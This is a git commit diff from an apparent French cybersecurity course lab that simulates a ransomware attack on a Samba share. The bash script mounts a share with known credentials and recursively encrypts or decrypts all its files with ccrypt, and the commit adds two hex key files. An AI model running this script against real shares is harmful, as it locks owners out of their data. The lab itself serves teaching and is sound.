Modification des fichiers du TP sur la simulation du ransomware, et
ajout de deux clés: une de test, et la vraie clé.
This commit is contained in:
parent
cd8c794bc3
commit
bcff0b9ebc
@ -1,2 +1,3 @@
|
||||
Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus.
|
||||
Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires.
|
||||
Séance sur la simulation d'un *ransomware* sur un partage de fichiers Samba.
|
||||
Le mode d'emploi du script est dans celui-ci.
|
||||
Pour générer une clé d'encryption/décryption, on peut faire ceci: `date | sha512sum > macle.txt`.
|
||||
|
1
bts_annee_2/cyber2/ransomware-simulation/cle.txt
Normal file
1
bts_annee_2/cyber2/ransomware-simulation/cle.txt
Normal file
@ -0,0 +1 @@
|
||||
f1822d2fe58daeadc88e0e4eef2f155fc3edd3713ff9a5d1e27696afd9231d905db51c98dcf0c6416658239b8d3b5893c5775ffd7941f769a78fcd684c5f9161
|
@ -1,34 +1,39 @@
|
||||
#!/bin/bash
|
||||
# déclaration des variables
|
||||
|
||||
# Usage :
|
||||
# bash smbcc.sh <chemin du partage Windows AVEC IP> <nom d'utilisateur/mot de passe> <action> <clé d'encryption>
|
||||
|
||||
# Déclaration des variables.
|
||||
chemin=$1
|
||||
cred=$2
|
||||
action=$3
|
||||
ficcle=$4
|
||||
|
||||
# récup du mot de passe et nom d'utilisateur
|
||||
# Récupération du nom d'utilisateur et du mot de passe.
|
||||
user=$(echo $cred| cut -d "/" -f1)
|
||||
pass=$(echo $cred| cut -d "/" -f2)
|
||||
|
||||
# créa du répertoire et on monte dessus
|
||||
# Création du répertoire s'il n'existe pas, et montage du partage Samba dessus.
|
||||
[[ -e /mnt/samba ]] || mkdir /mnt/samba
|
||||
mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba
|
||||
|
||||
# vérification d'erreurs
|
||||
# Première vérification d'erreurs.
|
||||
if [[ $? != 0 ]] ; then
|
||||
rmdir /mnt/samba
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# la commande ccrypt
|
||||
# Commande ccrypt pour encrypter ou décrypter le répertoire avec le partage.
|
||||
ccrypt "$action" -r -k $ficcle /mnt/samba
|
||||
|
||||
# vérification d'erreurs
|
||||
# Seconde vérification d'erreurs.
|
||||
if [[ $? != 0 ]] ; then
|
||||
echo "ccrypt échoué, revérifie le script."
|
||||
echo "Échec de ccrypt, veuillez relancer le script après avoir vérifié les paramètres."
|
||||
umount /mnt/samba
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# nettoyage et sortie, code 0
|
||||
# Nettoyage des directoires, et sortie du script avec le code 0.
|
||||
umount /mnt/samba
|
||||
rmdir /mnt/samba
|
||||
exit 0
|
||||
|
1
bts_annee_2/cyber2/ransomware-simulation/test.txt
Normal file
1
bts_annee_2/cyber2/ransomware-simulation/test.txt
Normal file
@ -0,0 +1 @@
|
||||
0d7b9fea61b5707ff8bf6da489a2638153e8c5d74d3bfab9a12dca6698da3ef61441cf86b819b166cae673efc97c99cb3ab8022c62774636f9e8fe18771a13db -
|
Loading…
x
Reference in New Issue
Block a user